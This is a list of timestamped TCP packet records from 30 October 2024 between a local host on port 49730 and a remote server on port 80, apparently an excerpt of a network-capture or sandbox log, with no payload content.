Oct 30, 2024 06:16:09.310797930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.310822964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.311122894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311135054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311145067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311161995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311175108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.311204910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.311696053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311712980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.311743975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.311764956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.349708080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349718094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349724054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349879026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349889994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349900007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349912882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.349924088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.350020885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.350020885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.350020885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.350020885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.350573063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.350583076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.350591898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.350622892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.350652933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.427722931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427735090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427786112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.427809954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.427812099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427854061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.427881956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427892923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427901983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.427922010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.427952051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.428366899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428378105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428389072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428544998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.428713083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428725958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428736925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428774118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.428792000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.428797007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.428838968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.429250956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.429260969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.429306984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467180014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467217922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467227936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467262030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467344999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467358112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467367887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467489004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467489004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467489004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467736006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467752934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467762947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467772961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467786074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.467794895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.467820883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.468434095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.468444109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.468489885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.545373917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545391083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545408010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545420885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545428038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.545447111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.545475006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.545551062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545562983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545574903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.545593977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.545618057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.546154976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.546168089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.546179056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.546189070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.546196938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.546201944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.546219110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.546246052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.584666967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584692001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584703922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584713936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584736109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.584781885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.584920883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584970951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.584980011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585010052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585128069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585139990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585150957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585174084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585184097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585196018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585203886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585207939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.585233927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585264921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.585994005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.586013079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.586030960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.586033106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.586057901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.586076975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.662739038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662764072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662775993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662919044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.662919044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.662947893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662960052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662970066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.662992954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663012981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663300037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663316965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663350105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663356066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663366079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663369894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663392067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663408995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.663805962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663815975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.663856983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702239037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702260971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702271938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702308893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702336073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702347994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702508926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702508926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702508926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702548981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702584982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702594042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702601910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702625036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702646971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702903032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702951908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.702972889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702984095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.702995062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703006029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703018904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.703030109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.703059912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.703663111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703675032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703685045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703695059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.703710079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.703742981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780261993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780275106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780286074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780354977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780370951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780410051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780421019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780517101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780517101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780517101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780736923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780746937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780756950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.780793905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.780818939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.781032085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.781061888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.781076908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.781080961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.781096935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.781120062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.819962978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.819978952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.819993973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820005894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820015907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820028067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820143938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820143938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820244074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820293903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820298910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820334911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820425987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820436954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820447922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820457935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820477009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820516109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820903063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820914030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820924997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820949078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820970058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820977926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.820982933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.820996046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.821011066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.821027994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.821050882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898052931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898078918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898089886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898101091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898113966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898125887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898138046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898164988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898217916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898313046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898356915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898358107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898397923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898405075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898410082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.898436069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.898458958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.937252045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937326908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937338114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937346935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937359095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937371016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937568903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.937568903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.937658072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937674999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937686920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937697887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937709093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937715054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.937720060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.937752008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.937766075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.938359976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938410044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.938438892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938450098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938461065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938478947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938486099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.938491106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:09.938514948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:09.938530922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015290022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015319109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015343904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015362024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015369892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015381098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015392065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015393972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015415907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015438080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015592098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015639067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015640974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015674114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015791893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015804052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015815020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015825033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.015841961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.015857935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.054805040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.054819107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.054826021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.054831982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.054837942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.054954052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.055030107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055073977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055084944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055202961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.055202961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.055387974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055398941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055411100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055423975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055437088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.055449009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.055475950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.055995941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056008101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056018114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056046009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.056066990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.056770086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056782007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056792021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056803942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056814909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.056819916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.056852102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.057250977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.057300091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.132805109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132819891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132863998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.132890940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132903099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132916927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132932901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.132935047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.132967949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.132992983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.133325100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.133364916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.133375883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.133375883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.133395910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.133405924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.133408070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.133418083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.133450031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.172274113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172286987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172307014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.172318935 CET	80	49730	185.215.113.206	192.168.2.4
